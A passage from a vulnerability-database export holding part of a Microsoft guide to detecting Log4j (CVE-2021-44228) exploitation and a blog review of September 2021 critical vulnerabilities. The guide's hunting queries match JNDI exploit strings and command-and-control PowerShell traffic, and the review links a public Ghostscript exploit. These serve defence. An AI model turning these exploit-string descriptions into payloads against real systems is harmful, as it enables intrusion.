[Backdoor:Linux/Dakkatoni.az!MTB](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Linux/Dakkatoni.az!MTB&threatId=-2147205141>) - detects post-exploitation Dakkatoni backdoor trojan capable of downloading more payloads\n * [Trojan:Linux/JavaExploitRevShell.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/JavaExploitRevShell.A&threatId=-2147159631>) - detects reverse shell attack post-exploitation\n * [Trojan:Linux/BashMiner.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/BashMiner.A&threatId=-2147159832>), [Trojan:Linux/BashMiner.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/BashMiner.B&threatId=-2147159820>) - detects post-exploitation cryptocurrency miner\n\n#### Microsoft Defender for Endpoint\n\nUsers of Microsoft Defender for Endpoint can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat.\n\n * Block executable files from running unless they meet a prevalence, age, or trusted list criterion\n\nDue to the broad network exploitation nature of vectors through which this vulnerability can be exploited and the fact that applying mitigations holistically across large environments will take time, we encourage defenders to look for signs of post-exploitation rather than fully relying on prevention. Observed post exploitation activity such as coin mining, lateral movement, and Cobalt Strike are detected with behavior-based detections.\n\nAlerts with the following titles in the Security Center indicate threat activity related to exploitation of the Log4j vulnerability on your network and should be immediately investigated and remediated. These alerts are supported on both Windows and Linux platforms: \n\n * **Log4j exploitation detected** \u2013 detects known behaviors that attackers perform following successful exploitation of the CVE-2021-44228 vulnerability\n * **Log4j exploitation artifacts detected** (previously titled Possible exploitation of CVE-2021-44228) \u2013 detects coin miners, shells, backdoor, and payloads such as Cobalt Strike used by attackers post-exploitation\n * **Log4j exploitation network artifacts detected** (previously titled Network connection seen in CVE-2021-44228 exploitation) - detects network traffic connecting traffic connecting to an address associated with CVE-2021-44228 scanning or exploitation activity \n\nThe following alerts may indicate exploitation attempts or testing/scanning activity. Microsoft advises customers to investigate with caution, as these alerts don\u2019t necessarily indicate successful exploitation:\n\n * **Possible target of Log4j exploitation - **detects a possible attempt to exploit the remote code execution vulnerability in the Log4j component of an Apache server in communication __received by__ this device\n * **Possible target of Log4j vulnerability scanning** \u2013 detects a possible __attempt to scan__ for the remote code execution vulnerability in a Log4j component of an Apache server in communication received by this device\n * **Possible source of Log4j exploitation** \u2013 detects a possible attempt to exploit the remote code execution vulnerability in the Log4j component of an Apache server in communication __initiated from__ this device \n * **Possible Log4j exploitation** - detects multiple behaviors, including suspicious command launch post-exploitation\n * **Possible Log4j exploitation (CVE-2021-44228)** \u2013 inactive, initially covered several of the above, now replaced with more specific titles\n\nThe following alerts detect activities that have been observed in attacks that utilize at least one of the Log4j vulnerabilities. However, these alerts can also indicate activity that is not related to the vulnerability. We are listing them here, as it is highly recommended that they are triaged and remediated immediately given their severity and the potential that they could be related to Log4j exploitation:\n\n * Suspicious remote PowerShell execution \n * Download of file associated with digital currency mining \n * Process associated with digital currency mining \n * Cobalt Strike command and control detected \n * Suspicious network traffic connection to C2 Server \n * Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike) \n\nSome of the alerts mentioned above utilize the enhanced network inspection capabilities in Microsoft Defender for Endpoint. These alerts correlate several network and endpoint signals into high-confidence detection of successful exploitation, as well as providing detailed evidence artifacts valuable for triage and investigation of detected activities.\n\n\n\n_Figure 14. Example detection leveraging network inspection provides details about the Java class returned following successful exploitation_\n\n#### Microsoft Defender for Cloud Apps (previously Microsoft Cloud App Security)\n\nMicrosoft 365 Defender detects exploitation patterns in different data sources, including cloud application traffic reported by Microsoft Defender for Cloud Apps. The following alert surfaces exploitation attempts via cloud applications that use vulnerable Log4j components:\n\n * Log4j exploitation attempt via cloud application (previously titled Exploitation attempt against Log4j (CVE-2021-44228))\n\n\n\n_Figure 15. Microsoft 365 Defender alert "Exploitation attempt against Log4j (CVE-2021-4428)"_\n\n#### Microsoft Defender for Office 365\n\nTo add a layer of protection against exploits that may be delivered via email, Microsoft Defender for Office 365 flags suspicious emails (e.g., emails with the \u201cjndi\u201d string in email headers or the sender email address field), which are moved to the Junk folder.\n\nWe also added the following new alert, which detects attempts to exploit CVE-2021-44228 through email headers:\n\n * Log4j exploitation attempt via email (previously titled Log4j Exploitation Attempt \u2013 Email Headers (CVE-2021-44228))\n\n\n\n_Figure 16. __Sample alert on malicious sender display name found in email correspondence_\n\nThis detection looks for exploitation attempts in email headers, such as the sender display name, sender, and recipient addresses. The alert covers known obfuscation attempts that have been observed in the wild. If this alert is surfaced, customers are recommended to evaluate the source address, email subject, and file attachments to get more context regarding the authenticity of the email.\n\n\n\n_Figure 17. Sample email with malicious sender display name_\n\nIn addition, this email event as can be surfaced via advanced hunting:\n\n\n\n_Figure 18. Sample email event surfaced via advanced hunting _\n\n#### Microsoft 365 Defender advanced hunting queries\n\nTo locate possible exploitation activity, run the following queries:\n\n**Possible malicious indicators in cloud application events**\n\nThis query is designed to flag exploitation attempts for cases where the attacker is sending the crafted exploitation string using vectors such as User-Agent, Application or Account name. The hits returned from this query are most likely unsuccessful attempts, however the results can be useful to identity attackers\u2019 details such as IP address, Payload string, Download URL, etc. \n \n \n CloudAppEvents\n | where Timestamp > datetime(\"2021-12-09\")\n | where UserAgent contains \"jndi:\" \n or AccountDisplayName contains \"jndi:\"\n or Application contains \"jndi:\"\n or AdditionalFields contains \"jndi:\"\n | project ActionType, ActivityType, Application, AccountDisplayName, IPAddress, UserAgent, AdditionalFields\n\n**Alerts related to Log4j vulnerability**\n\nThis query looks for alert activity pertaining to the Log4j vulnerability.\n \n \n AlertInfo\n | where Title in~('Suspicious script launched',\n 'Exploitation attempt against Log4j (CVE-2021-44228)',\n 'Suspicious process executed by a network service',\n 'Possible target of Log4j exploitation (CVE-2021-44228)',\n 'Possible target of Log4j exploitation',\n 'Possible Log4j exploitation',\n 'Network connection seen in CVE-2021-44228 exploitation',\n 'Log4j exploitation detected',\n 'Possible exploitation of CVE-2021-44228',\n 'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',\n 'Possible source of Log4j exploitation',\n 'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j\n 'Log4j exploitation attempt via email' // Previously titled Log4j Exploitation Attempt\n )\n\n**Devices with Log4j vulnerability alerts and additional other alert-related context**\n\nThis query surfaces devices with Log4j-related alerts and adds additional context from other alerts on the device. \n \n \n // Get any devices with Log4J related Alert Activity\n let DevicesLog4JAlerts = AlertInfo\n | where Title in~('Suspicious script launched',\n 'Exploitation attempt against Log4j (CVE-2021-44228)',\n 'Suspicious process executed by a network service',\n 'Possible target of Log4j exploitation (CVE-2021-44228)',\n 'Possible target of Log4j exploitation',\n 'Possible Log4j exploitation',\n 'Network connection seen in CVE-2021-44228 exploitation',\n 'Log4j exploitation detected',\n 'Possible exploitation of CVE-2021-44228',\n 'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',\n 'Possible source of Log4j exploitation'\n 'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j\n 'Log4j exploitation attempt via email' // Previouskly titled Log4j Exploitation Attempt\n )\n // Join in evidence information\n | join AlertEvidence on AlertId\n | where DeviceId != \"\"\n | summarize by DeviceId, Title;\n // Get additional alert activity for each device\n AlertEvidence\n | where DeviceId in(DevicesLog4JAlerts)\n // Add additional info\n | join kind=leftouter AlertInfo on AlertId\n | summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)\n\n**Suspected exploitation of Log4j vulnerability**\n\nThis query looks for exploitation of the vulnerability using known parameters in the malicious string. It surfaces exploitation but may surface legitimate behavior in some environments.\n \n \n DeviceProcessEvents\n | where ProcessCommandLine has_all('${jndi') and ProcessCommandLine has_any('ldap', 'ldaps', 'http', 'rmi', 'dns', 'iiop')\n //Removing FPs \n | where not(ProcessCommandLine has_any('stackstorm', 'homebrew')) \n\n**Regex to identify malicious exploit string**\n\nThis query looks for the malicious string needed to exploit this vulnerability.\n \n \n DeviceProcessEvents\n | where ProcessCommandLine matches regex @'(?i)\\$\\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\\/\\/(\\$\\{([a-z]){1,20}:([a-z]){1,20}\\})?(([a-zA-Z0-9]|-){2,100})?(\\.([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100}\\.([a-z0-9]){2,20}(\\/).*}' \n or InitiatingProcessCommandLine matches regex @'(?i)\\$\\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\\/\\/(\\$\\{([a-z]){1,20}:([a-z]){1,20}\\})?(([a-zA-Z0-9]|-){2,100})?(\\.([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100}\\.([a-z0-9]){2,20}(\\/).*}'\n\n**Suspicious process event creation from VMWare Horizon TomcatService**\n\nThis query identifies anomalous child processes from the _ws_TomcatService.exe_ process associated with the exploitation of the Log4j vulnerability in VMWare Horizon installations. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName has \"ws_TomcatService.exe\"\n | where FileName != \"repadmin.exe\"\n\n**Suspicious JScript staging comment**\n\nThis query identifies a unique string present in malicious PowerShell commands attributed to threat actors exploiting vulnerable Log4j applications. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.\n \n \n DeviceProcessEvents\n | where FileName has \"powershell.exe\"\n | where ProcessCommandLine has \"VMBlastSG\"\n \n\n**Suspicious PowerShell curl flags**\n\nThis query identifies unique, uncommon PowerShell flags used by curl to post the results of an attacker-executed command back to the command-and-control infrastructure. If the event is a true positive, the contents of the \u201cBody\u201d argument are Base64-encoded results from an attacker-issued comment. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.\n \n \n DeviceProcessEvents\n | where FileName has \"powershell.exe\"\n | where ProcessCommandLine has_all(\"-met\", \"POST\", \"-Body\")\n\n### Microsoft Defender for Cloud\n\nMicrosoft Defender for Cloud\u2019s threat detection capabilities have been expanded to surface exploitation of CVE-2021-44228 in several relevant security alerts:\n\nOn Windows:\n\n * Detected obfuscated command line\n * Suspicious use of PowerShell detected\n\nOn Linux:\n\n * Suspicious file download\n * Possible Cryptocoinminer download detected\n * Process associated with digital currency mining detected\n * Potential crypto coin miner started\n * A history file has been cleared\n * Suspicious Shell Script Detected\n * Suspicious domain name reference\n * Digital currency mining related behavior detected\n * Behavior similar to common Linux bots detected\n\n### Microsoft Defender for IoT\n\nMicrosoft Defender for IoT has released a dedicated threat Intelligence update package for detecting Log4j 2 exploit attempts on the network (example below). \n\n\n\n_Figure 19. Microsoft Defender for IoT alert_ \n\nThe package is available for download from the [Microsoft Defender for IoT portal](<https://ms.portal.azure.com/#blade/Microsoft_Azure_IoT_Defender/IoTDefenderDashboard/Getting_Started>) (Click _Updates_, then _Download file _(MD5: 4fbc673742b9ca51a9721c682f404c41). \n\n\n\n_Figure 20. Microsoft Defender for IoT sensor threat intelligence update_\n\nMicrosoft Defender for IoT now pushes new threat intelligence packages to cloud-connected sensors upon release, [click here ](<https://docs.microsoft.com/en-us/azure/defender-for-iot/organizations/release-notes>)for more information. Starting with sensor version 10.3, users can automatically receive up-to-date threat intelligence packages through Microsoft Defender for IoT.\n\nWorking with automatic updates reduces operational effort and ensures greater security. Enable automatic updating on the [Defender for IoT portal](<https://ms.portal.azure.com/#blade/Microsoft_Azure_IoT_Defender/IoTDefenderDashboard/Sites>) by onboarding your cloud-connected sensor with the toggle for Automatic Threat Intelligence Updates turned on. For more information about threat intelligence packages in Defender for IoT, please refer to the [documentation](<https://docs.microsoft.com/en-us/azure/defender-for-iot/organizations/how-to-work-with-threat-intelligence-packages>).\n\n### Microsoft Sentinel\n\nA new Microsoft Sentinel solution has been added to the Content Hub that provides a central place to install Microsoft Sentinel specific content to monitor, detect, and investigate signals related to exploitation of the CVE-2021-44228 vulnerability.\n\n\n\n_Figure 21. Log4j Vulnerability Detection solution in Microsoft Sentinel_\n\nTo deploy this solution, in the Microsoft Sentinel portal, select **Content hub (Preview)** under **Content Management**, then search for **Log4j** in the search bar. Select the **Log4j vulnerability detection** solution, and click **Install**. Learn how to [centrally discover and deploy Microsoft Sentinel out-of-the-box content and solutions](<https://docs.microsoft.com/azure/sentinel/sentinel-solutions-deploy>).\n\n\n\n_Figure 22. Microsoft Sentinel Analytics showing detected Log4j vulnerability_\n\nNote: We recommend that you check the solution for updates periodically, as new collateral may be added to this solution given the rapidly evolving situation. This can be verified on the main Content hub page.\n\n#### Microsoft Sentinel queries\n\nMicrosoft Sentinel customers can use the following detection queries to look for this activity:\n\n * [Possible exploitation of Apache Log4j component detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Apache_log4j_Vulnerability.yaml>)\n\nThis hunting query looks for possible attempts to exploit a remote code execution vulnerability in the Log4j component of Apache. Attackers may attempt to launch arbitrary code by passing specific commands to a server, which are then logged and executed by the Log4j component.\n\n * [Cryptocurrency miners EXECVE](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/CryptoCurrencyMiners.yaml>)\n\nThis query hunts through EXECVE syslog data generated by AUOMS to find instances of cryptocurrency miners being downloaded. It returns a table of suspicious command lines.\n\n * [Azure WAF Log4j CVE-2021-44228 hunting](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/AzureDiagnostics/WAF_log4j_vulnerability.yaml>)\n\nThis hunting query looks in Azure Web Application Firewall data to find possible exploitation attempts for CVE-2021-44228 involving Log4j vulnerability.\n\n * [Log4j vulnerability exploit aka Log4Shell IP IOC](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml>)\n\nThis hunting query identifies a match across various data feeds for IP IOCs related to the Log4j exploit described in CVE-2021-44228.\n\n * [Suspicious shell script detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Suspicious_ShellScript_Activity.yaml>)\n\nThis hunting query helps detect post-compromise suspicious shell scripts that attackers use for downloading and executing malicious files. This technique is often used by attackers and was recently used to exploit the vulnerability in Log4j component of Apache to evade detection and stay persistent or for more exploitation in the network.\n\n * [Azure WAF matching for ](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AzureDiagnostics/AzureWAFmatching_log4j_vuln.yaml>)[CVE-2021-44228](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AzureDiagnostics/AzureWAFmatching_log4j_vuln.yaml>)[ Log4j vulnerability](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AzureDiagnostics/AzureWAFmatching_log4j_vuln.yaml>)\n\nThis query alerts on a positive pattern match by Azure WAF for CVE-2021-44228 Log4j exploitation attempt. If possible, it then decodes the malicious command for further analysis.\n\n * [Suspicious Base64 download activity detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Base64_Download_Activity.yaml>)\n\nThis hunting query helps detect suspicious encoded Base64 obfuscated scripts that attackers use to encode payloads for downloading and executing malicious files. This technique is often used by attackers and was recently used to the Log4j vulnerability in order to evade detection and stay persistent in the network.\n\n * _[Linux security-related process termination activity detected ](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Process_Termination_Activity.yaml>)_\n\nThis query alerts on attempts to terminate processes related to security monitoring. Attackers often try to terminate such processes post-compromise as seen recently to exploit the CVE-2021-44228 vulnerability.\n\n * [Suspicious manipulation of firewall detected via Syslog data](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Firewall_Disable_Activity.yaml>)\n\nThis query uses syslog data to alert on any suspicious manipulation of firewall to evade defenses. Attackers often perform such operations as seen recently to exploit the CVE-2021-44228 vulnerability for C2 communications or exfiltration.\n\n * [User agent search for Log4j exploitation attempt](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/UserAgentSearch_log4j.yaml>)\n\nThis query uses various log sources having user agent data to look for CVE-2021-44228 exploitation attempt based on user agent pattern.\n\n * [Network connections to LDAP port for CVE-2021-44228 vulnerability](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/MultipleDataSources/NetworkConnectionldap_log4j.yaml>)\n\nThis hunting query looks for connection to LDAP port to find possible exploitation attempts for CVE-2021-44228.\n\n * [Linux toolkit detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Linux_Toolkit_Detected.yaml>)\n\nThis query uses syslog data to alert on any attack toolkits associated with massive scanning or exploitation attempts against a known vulnerability\n\n * [Container miner activity](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Container_Miner_Activity.yaml>)\n\nThis query uses syslog data to alert on possible artifacts associated with containers running images related to digital cryptocurrency mining.\n\n * [Network connection to new external LDAP server](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/CommonSecurityLog/NetworkConnectionToNewExternalLDAPServer.yaml>)\n\nThis query looks for outbound network connections using the LDAP protocol to external IP addresses, where that IP address has not had an LDAP network connection to it in the 14 days preceding the query timeframe. This could indicate someone exploiting a vulnerability such as CVE-2021-44228 to trigger the connection to a malicious LDAP server.\n\n### Azure Firewall Premium \n\nCustomers using Azure Firewall Premium have enhanced protection from the Log4j RCE CVE-2021-44228 vulnerability and exploit. Azure Firewall premium IDPS (Intrusion Detection and Prevention System) provides IDPS inspection for all east-west traffic and outbound traffic to internet. The vulnerability rulesets are continuously updated and include CVE-2021-44228 vulnerability for different scenarios including UDP, TCP, HTTP/S protocols since December 10th, 2021. Below screenshot shows all the scenarios which are actively mitigated by Azure Firewall Premium.\n\n**Recommendation:** Customers are recommended to configure [Azure Firewall Premium](<https://docs.microsoft.com/en-us/azure/firewall/premium-migrate>) with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against **CVE-2021-44228** exploit. \n\n\n\n_Figure 23. Azure Firewall Premium portal_\n\nCustomers using Azure Firewall Standard can migrate to Premium by following [these directions](<https://docs.microsoft.com/en-us/azure/firewall/premium-migrate>). Customers new to Azure Firewall premium can learn more about [Firewall Premium](<https://docs.microsoft.com/en-us/azure/firewall/premium-features>).\n\n### Azure Web Application Firewall (WAF)\n\nIn response to this threat, Azure Web Application Firewall (WAF) has updated Default Rule Set (DRS) versions 1.0/1.1 available for Azure Front Door global deployments, and OWASP ModSecurity Core Rule Set (CRS) version 3.0/3.1 available for Azure Application Gateway V2 regional deployments.\n\nTo help detect and mitigate the Log2Shell vulnerability by inspecting requests\u2019 headers, URI, and body, we have released the following:\n\n * For Azure Front Door deployments, we have updated the rule **944240 \u201cRemote Command Execution\u201d** under Managed Rules\n * For Azure Application Gateway V2 regional deployments, we have introduced a new rule **Known-CVEs/800100** in the rule group Known-CVEs under Managed Rules\n\nThese rules are already enabled by default in block mode for all existing WAF Default Rule Set (DRS) 1.0/1.1 and OWASP ModSecurity Core Rule Set (CRS) 3.0/3.1 configurations. Customers using WAF Managed Rules would have already received enhanced protection for Log4j 2 vulnerabilities ([CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228>) and [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>)); no additional action is needed.\n\n**Recommendation**: Customers are recommended to enable WAF policy with Default Rule Set 1.0/1.1 on their Front Door deployments, or with OWASP ModSecurity Core Rule Set (CRS) versions 3.0/3.1 on Application Gateway V2 to immediately enable protection from this threat, if not already enabled. For customers who have already enabled DRS 1.0/1.1 or CRS 3.0/3.1, no action is needed. We will continue to monitor threat patterns and modify the above rule in response to emerging attack patterns as required.\n\n\n\n_Figure 24. Remote Code Execution rule for Default Rule Set (DRS) versions 1.0/1.1 _\n\n\n\n_Figure 25. Remote Code Execution rule for OWASP ModSecurity Core Rule Set (CRS) version 3.1_\n\nNote: The above protection is also available on Default Rule Set (DRS) 2.0 preview version and OWASP ModSecurity Core Rule Set (CRS) 3.2 preview version, which are available on Azure Front Door Premium and Azure Application Gateway V2 respectively. Customers using Azure CDN Standard from Microsoft can also turn on the above protection by enabling DRS 1.0.\n\nMore information about Managed Rules and Default Rule Set (DRS) on Azure Web Application Firewall can be found [here](<https://docs.microsoft.com/azure/web-application-firewall/afds/waf-front-door-drs>). More information about Managed Rules and OWASP ModSecurity Core Rule Set (CRS) on Azure Web Application Firewall can be found [here](<https://docs.microsoft.com/azure/web-application-firewall/ag/application-gateway-crs-rulegroups-rules>).\n\n## Indicators of compromise (IOCs)\n\nMicrosoft Threat Intelligence Center (MSTIC) has provided a list of IOCs related to this attack and will update them with new indicators as they are discovered: [](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml>)[https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample Data/Feeds/Log4j_IOC_List.csv](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv>)\n\nMicrosoft will continue to monitor this dynamic situation and will update this blog as new threat intelligence and detections/mitigations become available.\n\n#### Revision history\n\n**_[01/19/2022] _**_New information about an unrelated vulnerability we discovered while investigating Log4j attacks_\n\n_**[01/11/2022]** New threat and vulnerability management capabilities to apply mitigation directly from the portal, as well as new advanced hunting queries _\n\n_**[01/10/2022] **Added new information about a China-based ransomware operator targeting internet-facing systems and deploying the NightSky ransomware_\n\n**_[01/07/2022] _**_Added a new rule group in _Azure Web Application Firewall (WAF)_ _\n\n**_[12/27/2021] _**_New capabilities in __threat and vulnerability management__ including a new advanced hunting schema and support for Linux, which requires updating the Microsoft Defender for Linux client; new Microsoft Defender for Containers solution._\n\n_**[12/22/2021]** Added new protections across Microsoft 365 Defender, including Microsoft Defender for Office 365._\n\n_**[12/21/2021]**_ _Added a note on testing services and assumed benign activity and additional guidance to use the **Need help?** button in the Microsoft 365 Defender portal._\n\n**_[12/17/2021] _**_New updates to observed activity, including more information about limited ransomware attacks and additional payloads; additional updates to protections from Microsoft 365 Defender and Azure Web Application Firewall (WAF), and new Microsoft Sentinel queries._\n\n_**[12/16/2021] **New Microsoft Sentinel solution and additional Microsoft Defender for Endpoint detections._\n\n_**[12/15/2021] **Details _about ransomware attacks on non-Microsoft hosted Minecraft servers, as well as updates to product guidance, including threat and vulnerability management._ _\n\n_**[12/14/2021] **New insights about multiple threat actors taking advantage of this vulnerability, _including nation-state actors and access brokers linked to ransomware._ _\n\nThe post [Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-12T05:29:03", "type": "mmpc", "title": "Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-34473", "CVE-2021-35247", "CVE-2021-44228", "CVE-2021-4428", "CVE-2021-44428", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-12T05:29:03", "id": "MMPC:42ECD98DCF925DC4063DE66F75FB5433", "href": "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2021-11-26T18:43:30", "description": "Hello everyone! This time, let's talk about recent vulnerabilities. I'll start with Microsoft Patch Tuesday for September 2021. I created a report using my Vulristics tool. You can see [the full report here](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_september2021_report_avleonov_comments.html>).\n\nThe most interesting thing about the September Patch Tuesday is that the top 3 VM vendors ignored almost all RCEs in their reviews. However, there were interesting RCEs in the Office products. And what is most unforgivable is that they did not mention CVE-2021-38647 RCE in OMI - Open Management Infrastructure. Only ZDI wrote about this.\n\n## Microsoft Patch Tuesday September 2021\n\n### OMIGOD\n\n[Dubbed \u201cOMIGOD\u201d by researchers at Wiz.io](<https://www.infosecurity-magazine.com/news/microsoft-fixes-omigod-mshtml/>), the bugs could enable a remote attacker to gain root access to Linux virtual machines running on Azure. \u201cWe conservatively estimate that thousands of Azure customers and millions of endpoints are affected. In a small sample of Azure tenants we analyzed, over 65% were unknowingly at risk,\u201d the firm warned. \n\nSo, OMIGOD RCEs and EOPs with detected exploitation in the wild are in the Vulristics TOP. What else?\n\n### Chrome/Chromium/Edge RCE\n\nAn exploitation in the wild has been seen for Chrome/Chromium/Edge vulnerability CVE-2021-30632. Still no comments from the VM vendors, only from ZDI.\n\n### WLAN AutoConfig RCE\n\nOnly Qualys and ZDI mentioned CVE-2021-36965 Remote Code Execution in Windows WLAN AutoConfig Service. "This would be highly useful in a coffee shop scenario where multiple people are using an unsecured WiFi network."\n\nAlso note several EOPs in Windows Kernel, Windows Common Log File System Driver and Windows Print Spooler.\n\n### MSHTML RCE\n\nBut of course, people were mostly waiting for fixes for a vulnerability that wasn't released on Patch Tuesday, but a week ago. However, the updates only became available on September 14th. It is CVE-2021-40444 Microsoft MSHTML Remote Code Execution Vulnerability. "\u0410 critical zero-day RCE vulnerability in Microsoft\u2019s MSHTML (Trident) engine that was exploited in the wild in limited, targeted attacks". "To exploit this vulnerability, an attacker would need to create a specially crafted Microsoft Office document containing a malicious ActiveX control". Well, people are saying that ActiveX is not being used in new exploits for this vulnerability. This is serious, consider this in your anti-phishing programs and, of course, install patches.\n\n## Non-Microsoft vulnerabilities\n\nI would also like to say a few words about [other recent non-Microsoft vulnerabilities](<https://avleonov.com/vulristics_reports/september_2021_other_report_avleonov_comments.html>).\n\n### Confluence RCE\n\nI would like to mention the massively exploited CVE-2021-26084 Confluence RCE. A week passed between the release of the newsletter and the public exploit. If your organization has Confluence, keep an eye on it and never make it available at the perimeter of your network.\n\n### Ghostscript RCE\n\nAlso, the "[Ghostscript provider Artifex Software released a security advisory](<https://www.jpcert.or.jp/english/at/2021/at210039.html>) regarding a vulnerability (CVE-2021-3781) that allows arbitrary command execution in Ghostscript. On a server running Ghostscript, an attacker may execute arbitrary commands by processing content that exploits this vulnerability". There is a [public exploit](<https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50>) for this vulnerability. Ask your developers if they use it to process SVG files.\n\n### Pegasus FORCEDENTRY macOS RCE\n\nAnd finally the RCE CVE-2021-30860 FORCEDENTRY vulnerability that was used in Pegasus spyware. The exploit that was spotted in the wild relies on malicious PDF files. The vulnerability became famous mainly because of iPhone attacks, but t[here are also patches for macOS Big Sur 11.6 and 2021-005 Catalina](<https://nakedsecurity.sophos.com/2021/09/14/apple-products-vulnerable-to-forcedentry-zero-day-attack-patch-now/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-18T23:22:00", "type": "avleonov", "title": "Security News: Microsoft Patch Tuesday September 2021, OMIGOD, MSHTML RCE, Confluence RCE, Ghostscript RCE, FORCEDENTRY Pegasus", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-30632", "CVE-2021-30860", "CVE-2021-36965", "CVE-2021-3781", "CVE-2021-38647", "CVE-2021-40444"], "modified": "2021-09-18T23:22:00", "id": "AVLEONOV:5945665DFA613F7707360C10CED8C916", "href": "https://avleonov.com/2021/09/19/security-news-microsoft-patch-tuesday-september-2021-omigod-mshtml-rce-confluence-rce-ghostscript-rce-forcedentry-pegasus/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-04-23T15:50:43", "description": "Hello everyone! This episode will be about the new hot twenty vulnerabilities from CISA, NSA and FBI, [Joint cybersecurity advisory (CSA) 